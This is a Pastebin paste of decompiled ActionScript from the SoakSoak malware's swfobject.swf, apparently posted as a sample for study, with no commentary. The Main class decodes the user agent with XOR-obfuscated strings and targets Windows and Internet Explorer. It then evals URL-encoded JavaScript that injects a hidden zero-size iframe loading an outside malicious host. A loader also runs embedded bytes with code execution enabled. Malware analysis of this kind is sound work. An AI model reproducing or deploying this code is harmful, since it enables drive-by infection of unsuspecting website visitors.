Advertisement
physicaldrive0

SoakSoak Malware Swfobject.swf Decoded Code

Dec 20th, 2014
1,818
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.21 KB | None | 0 0
  1. package {
  2. import flash.external.*;
  3. import flash.events.*;
  4. import flash.net.*;
  5. import flash.display.*;
  6. import flash.utils.*;
  7.  
  8. public class Main extends Sprite {
  9.  
  10. private var Vis:MovieClip;
  11. private var Btn:MovieClip;
  12. private var Close:SimpleButton;
  13. private var HUY:Class;
  14.  
  15. public function Main():void{
  16. this.HUY = Main_HUY;
  17. super();
  18. this.Vis = new this.HUY();
  19. addChild(this.Vis);
  20. var W:int = 16;
  21. var H:int = 16;
  22. var ua:String = this.GetUserAgentStr().toLowerCase();
  23. var is_ie11:Boolean = ((!((ua.indexOf("msie") == -1))) || (!((ua.indexOf("rv:11") == -1))));
  24. if (ua.indexOf("windows") == -1){
  25. return;
  26. };
  27. if (is_ie11){
  28. ExternalInterface.call("function() { var xxx = \"%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%69%66%72%61%6D%65%27%29%29%2E%6F%75%74%65%72%48%54%4D%4C%20%3D%20%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%61%73%74%65%72%73%68%65%66%2E%63%6F%6D%2E%75%61%2F%69%6D%61%67%65%73%2F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%77%69%64%74%68%3D%22%30%22%20%3E%3C%2F%69%66%72%61%6D%65%3E%27%3B\"; eval( decodeURIComponent(xxx) );}");
  29. };
  30. }
  31. public function AddCloseBtn(W:int, H:int):void{
  32. this.Close = new BTN_CLOSE();
  33. this.Close.addEventListener(MouseEvent.CLICK, this.FuncOnCloseClick);
  34. this.Close.x = W;
  35. this.Close.y = 0;
  36. this.Close.alpha = 0.6;
  37. addChild(this.Close);
  38. }
  39. private function FuncOnCloseClick(e:Event):void{
  40. navigateToURL(new URLRequest("javascript:hide()"), "_self");
  41. }
  42. private function FuncOnClickBanner(e:Event):void{
  43. navigateToURL(new URLRequest(stage.loaderInfo.parameters.yourlink), "_blank");
  44. }
  45. public function AddClickBtn(W:int, H:int):void{
  46. this.Btn = new QUAD_BUTTON_WRAP();
  47. this.Btn.addEventListener(MouseEvent.CLICK, this.FuncOnClickBanner);
  48. this.Btn.width = W;
  49. this.Btn.height = H;
  50. this.Btn.alpha = 0;
  51. addChild(this.Btn);
  52. }
  53. private function UN4(In:String):String{
  54. var V:int;
  55. var Res:String = "";
  56. var xx:int;
  57. while (xx < In.length) {
  58. V = parseInt((In.charAt(xx) + In.charAt((xx + 1))), 16);
  59. Res = (Res + String.fromCharCode((V ^ 160)));
  60. xx = (xx + 2);
  61. };
  62. return (Res);
  63. }
  64. private function GetRef():String{
  65. return (ExternalInterface.call("document.referrer"));
  66. }
  67. private function GetLoc():String{
  68. return (ExternalInterface.call("document.location.href"));
  69. }
  70. private function GetUserAgentStr():String{
  71. return (ExternalInterface.call(((((((this.UN4("D7C9CEC4CFD7") + this.UN4("8ECEC1D6")) + this.UN4("C9C7C1D4CF")) + this.UN4("D28ED5D3C5")) + this.UN4("D2E1C7C5CED4")) + this.UN4("8ED4CFF3D4D2")) + this.UN4("C9CEC7"))));
  72. }
  73.  
  74. }
  75. }//package
  76. package mx.core {
  77.  
  78. public namespace mx_internal = "http://www.adobe.com/2006/flex/mx/internal";
  79. }//package mx.core
  80. package mx.core {
  81.  
  82. public class MovieClipAsset extends FlexMovieClip implements IFlexAsset, IFlexDisplayObject, IBorder {
  83.  
  84. mx_internal static const VERSION:String = "4.6.0.23201";
  85.  
  86. private var _measuredHeight:Number;
  87. private var _measuredWidth:Number;
  88.  
  89. public function MovieClipAsset(){
  90. super();
  91. this._measuredWidth = width;
  92. this._measuredHeight = height;
  93. }
  94. public function get measuredHeight():Number{
  95. return (this._measuredHeight);
  96. }
  97. public function get measuredWidth():Number{
  98. return (this._measuredWidth);
  99. }
  100. public function get borderMetrics():EdgeMetrics{
  101. if (scale9Grid == null){
  102. return (EdgeMetrics.EMPTY);
  103. };
  104. return (new EdgeMetrics(scale9Grid.left, scale9Grid.top, Math.ceil((this.measuredWidth - scale9Grid.right)), Math.ceil((this.measuredHeight - scale9Grid.bottom))));
  105. }
  106. public function move(x:Number, y:Number):void{
  107. this.x = x;
  108. this.y = y;
  109. }
  110. public function setActualSize(newWidth:Number, newHeight:Number):void{
  111. width = newWidth;
  112. height = newHeight;
  113. }
  114.  
  115. }
  116. }//package mx.core
  117. package mx.core {
  118.  
  119. public class EdgeMetrics {
  120.  
  121. mx_internal static const VERSION:String = "4.6.0.23201";
  122. public static const EMPTY:EdgeMetrics = new EdgeMetrics(0, 0, 0, 0);
  123. ;
  124.  
  125. public var bottom:Number;
  126. public var left:Number;
  127. public var right:Number;
  128. public var top:Number;
  129.  
  130. public function EdgeMetrics(left:Number=0, top:Number=0, right:Number=0, bottom:Number=0){
  131. super();
  132. this.left = left;
  133. this.top = top;
  134. this.right = right;
  135. this.bottom = bottom;
  136. }
  137. public function clone():EdgeMetrics{
  138. return (new EdgeMetrics(this.left, this.top, this.right, this.bottom));
  139. }
  140.  
  141. }
  142. }//package mx.core
  143. package mx.core {
  144.  
  145. public interface IFlexAsset {
  146.  
  147. }
  148. }//package mx.core
  149. package mx.core {
  150. import flash.utils.*;
  151.  
  152. public class ByteArrayAsset extends ByteArray implements IFlexAsset {
  153.  
  154. mx_internal static const VERSION:String = "4.6.0.23201";
  155.  
  156. public function ByteArrayAsset(){
  157. super();
  158. }
  159. }
  160. }//package mx.core
  161. package mx.core {
  162. import flash.system.*;
  163. import flash.display.*;
  164. import flash.events.*;
  165. import flash.utils.*;
  166.  
  167. public class MovieClipLoaderAsset extends MovieClipAsset implements IFlexAsset, IFlexDisplayObject {
  168.  
  169. mx_internal static const VERSION:String = "4.6.0.23201";
  170.  
  171. private var loader:Loader = null;
  172. private var initialized:Boolean = false;
  173. private var requestedWidth:Number;
  174. private var requestedHeight:Number;
  175. protected var initialWidth:Number = 0;
  176. protected var initialHeight:Number = 0;
  177.  
  178. public function MovieClipLoaderAsset(){
  179. super();
  180. var loaderContext:LoaderContext = new LoaderContext();
  181. loaderContext.applicationDomain = new ApplicationDomain(ApplicationDomain.currentDomain);
  182. if (("allowLoadBytesCodeExecution" in loaderContext)){
  183. loaderContext["allowLoadBytesCodeExecution"] = true;
  184. };
  185. this.loader = new Loader();
  186. this.loader.contentLoaderInfo.addEventListener(Event.COMPLETE, this.completeHandler);
  187. this.loader.loadBytes(this.movieClipData, loaderContext);
  188. addChild(this.loader);
  189. }
  190. override public function get height():Number{
  191. if (!(this.initialized)){
  192. return (this.initialHeight);
  193. };
  194. return (super.height);
  195. }
  196. override public function set height(value:Number):void{
  197. if (!(this.initialized)){
  198. this.requestedHeight = value;
  199. } else {
  200. this.loader.height = value;
  201. };
  202. }
  203. override public function get measuredHeight():Number{
  204. return (this.initialHeight);
  205. }
  206. override public function get measuredWidth():Number{
  207. return (this.initialWidth);
  208. }
  209. override public function get width():Number{
  210. if (!(this.initialized)){
  211. return (this.initialWidth);
  212. };
  213. return (super.width);
  214. }
  215. override public function set width(value:Number):void{
  216. if (!(this.initialized)){
  217. this.requestedWidth = value;
  218. } else {
  219. this.loader.width = value;
  220. };
  221. }
  222. public function get movieClipData():ByteArray{
  223. return (null);
  224. }
  225. private function completeHandler(event:Event):void{
  226. this.initialized = true;
  227. this.initialWidth = this.loader.contentLoaderInfo.width;
  228. this.initialHeight = this.loader.contentLoaderInfo.height;
  229. if (!(isNaN(this.requestedWidth))){
  230. this.loader.width = this.requestedWidth;
  231. };
  232. if (!(isNaN(this.requestedHeight))){
  233. this.loader.height = this.requestedHeight;
  234. };
  235. dispatchEvent(event);
  236. }
  237.  
  238. }
  239. }//package mx.core
  240. package mx.core {
  241. import flash.display.*;
  242. import flash.geom.*;
  243. import flash.accessibility.*;
  244. import flash.events.*;
  245.  
  246. public interface IFlexDisplayObject extends IBitmapDrawable, IEventDispatcher {
  247.  
  248. function get root():DisplayObject;
  249. function get stage():Stage;
  250. function get name():String;
  251. function set name(_arg1:String):void;
  252. function get parent():DisplayObjectContainer;
  253. function get mask():DisplayObject;
  254. function set mask(_arg1:DisplayObject):void;
  255. function get visible():Boolean;
  256. function set visible(_arg1:Boolean):void;
  257. function get x():Number;
  258. function set x(_arg1:Number):void;
  259. function get y():Number;
  260. function set y(_arg1:Number):void;
  261. function get scaleX():Number;
  262. function set scaleX(_arg1:Number):void;
  263. function get scaleY():Number;
  264. function set scaleY(_arg1:Number):void;
  265. function get mouseX():Number;
  266. function get mouseY():Number;
  267. function get rotation():Number;
  268. function set rotation(_arg1:Number):void;
  269. function get alpha():Number;
  270. function set alpha(_arg1:Number):void;
  271. function get width():Number;
  272. function set width(_arg1:Number):void;
  273. function get height():Number;
  274. function set height(_arg1:Number):void;
  275. function get cacheAsBitmap():Boolean;
  276. function set cacheAsBitmap(_arg1:Boolean):void;
  277. function get opaqueBackground():Object;
  278. function set opaqueBackground(_arg1:Object):void;
  279. function get scrollRect():Rectangle;
  280. function set scrollRect(_arg1:Rectangle):void;
  281. function get filters():Array;
  282. function set filters(_arg1:Array):void;
  283. function get blendMode():String;
  284. function set blendMode(_arg1:String):void;
  285. function get transform():Transform;
  286. function set transform(_arg1:Transform):void;
  287. function get scale9Grid():Rectangle;
  288. function set scale9Grid(_arg1:Rectangle):void;
  289. function globalToLocal(_arg1:Point):Point;
  290. function localToGlobal(_arg1:Point):Point;
  291. function getBounds(_arg1:DisplayObject):Rectangle;
  292. function getRect(_arg1:DisplayObject):Rectangle;
  293. function get loaderInfo():LoaderInfo;
  294. function hitTestObject(_arg1:DisplayObject):Boolean;
  295. function hitTestPoint(_arg1:Number, _arg2:Number, _arg3:Boolean=false):Boolean;
  296. function get accessibilityProperties():AccessibilityProperties;
  297. function set accessibilityProperties(_arg1:AccessibilityProperties):void;
  298. function get measuredHeight():Number;
  299. function get measuredWidth():Number;
  300. function move(_arg1:Number, _arg2:Number):void;
  301. function setActualSize(_arg1:Number, _arg2:Number):void;
  302.  
  303. }
  304. }//package mx.core
  305. package mx.core {
  306.  
  307. public interface IBorder {
  308.  
  309. function get borderMetrics():EdgeMetrics;
  310.  
  311. }
  312. }//package mx.core
  313. package mx.core {
  314.  
  315. public interface IRepeaterClient {
  316.  
  317. function get instanceIndices():Array;
  318. function set instanceIndices(_arg1:Array):void;
  319. function get isDocument():Boolean;
  320. function get repeaterIndices():Array;
  321. function set repeaterIndices(_arg1:Array):void;
  322. function get repeaters():Array;
  323. function set repeaters(_arg1:Array):void;
  324. function initializeRepeaterArrays(_arg1:IRepeaterClient):void;
  325.  
  326. }
  327. }//package mx.core
  328. package mx.core {
  329. import mx.utils.*;
  330. import flash.display.*;
  331.  
  332. public class FlexMovieClip extends MovieClip {
  333.  
  334. mx_internal static const VERSION:String = "4.6.0.23201";
  335.  
  336. public function FlexMovieClip(){
  337. super();
  338. try {
  339. name = NameUtil.createUniqueName(this);
  340. } catch(e:Error) {
  341. };
  342. }
  343. override public function toString():String{
  344. return (NameUtil.displayObjectToString(this));
  345. }
  346.  
  347. }
  348. }//package mx.core
  349. package mx.utils {
  350. import flash.utils.*;
  351. import flash.display.*;
  352. import mx.core.*;
  353.  
  354. public class NameUtil {
  355.  
  356. mx_internal static const VERSION:String = "4.6.0.23201";
  357.  
  358. private static var counter:int = 0;
  359.  
  360. public static function createUniqueName(object:Object):String{
  361. if (!(object)){
  362. return (null);
  363. };
  364. var name:String = getQualifiedClassName(object);
  365. var index:int = name.indexOf("::");
  366. if (index != -1){
  367. name = name.substr((index + 2));
  368. };
  369. var charCode:int = name.charCodeAt((name.length - 1));
  370. if ((((charCode >= 48)) && ((charCode <= 57)))){
  371. name = (name + "_");
  372. };
  373. return ((name + counter++));
  374. }
  375. public static function displayObjectToString(displayObject:DisplayObject):String{
  376. var result:String;
  377. var o:DisplayObject;
  378. var s:String;
  379. var indices:Array;
  380. try {
  381. o = displayObject;
  382. while (o != null) {
  383. if (((((o.parent) && (o.stage))) && ((o.parent == o.stage)))){
  384. break;
  385. };
  386. s = ((((("id" in o)) && (o["id"]))) ? o["id"] : o.name);
  387. if ((o is IRepeaterClient)){
  388. indices = IRepeaterClient(o).instanceIndices;
  389. if (indices){
  390. s = (s + (("[" + indices.join("][")) + "]"));
  391. };
  392. };
  393. result = (((result == null)) ? s : ((s + ".") + result));
  394. o = o.parent;
  395. };
  396. } catch(e:SecurityError) {
  397. };
  398. return (result);
  399. }
  400. public static function getUnqualifiedClassName(object:Object):String{
  401. var name:String;
  402. if ((object is String)){
  403. name = (object as String);
  404. } else {
  405. name = getQualifiedClassName(object);
  406. };
  407. var index:int = name.indexOf("::");
  408. if (index != -1){
  409. name = name.substr((index + 2));
  410. };
  411. return (name);
  412. }
  413.  
  414. }
  415. }//package mx.utils
  416. package {
  417. import mx.core.*;
  418.  
  419. public class Main_HUY_dataClass extends ByteArrayAsset {
  420.  
  421. }
  422. }//package
  423. package {
  424. import flash.display.*;
  425.  
  426. public dynamic class QUAD_BUTTON_WRAP extends MovieClip {
  427.  
  428. }
  429. }//package
  430. package {
  431. import flash.display.*;
  432.  
  433. public dynamic class BTN_CLOSE extends SimpleButton {
  434.  
  435. }
  436. }//package
  437. package {
  438. import flash.utils.*;
  439. import mx.core.*;
  440.  
  441. public class Main_HUY extends MovieClipLoaderAsset {
  442.  
  443. private static var bytes:ByteArray = null;
  444.  
  445. public var dataClass:Class;
  446.  
  447. public function Main_HUY(){
  448. this.dataClass = Main_HUY_dataClass;
  449. super();
  450. initialWidth = (320 / 20);
  451. initialHeight = (320 / 20);
  452. }
  453. override public function get movieClipData():ByteArray{
  454. if (bytes == null){
  455. bytes = ByteArray(new this.dataClass());
  456. };
  457. return (bytes);
  458. }
  459.  
  460. }
  461. }//package
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement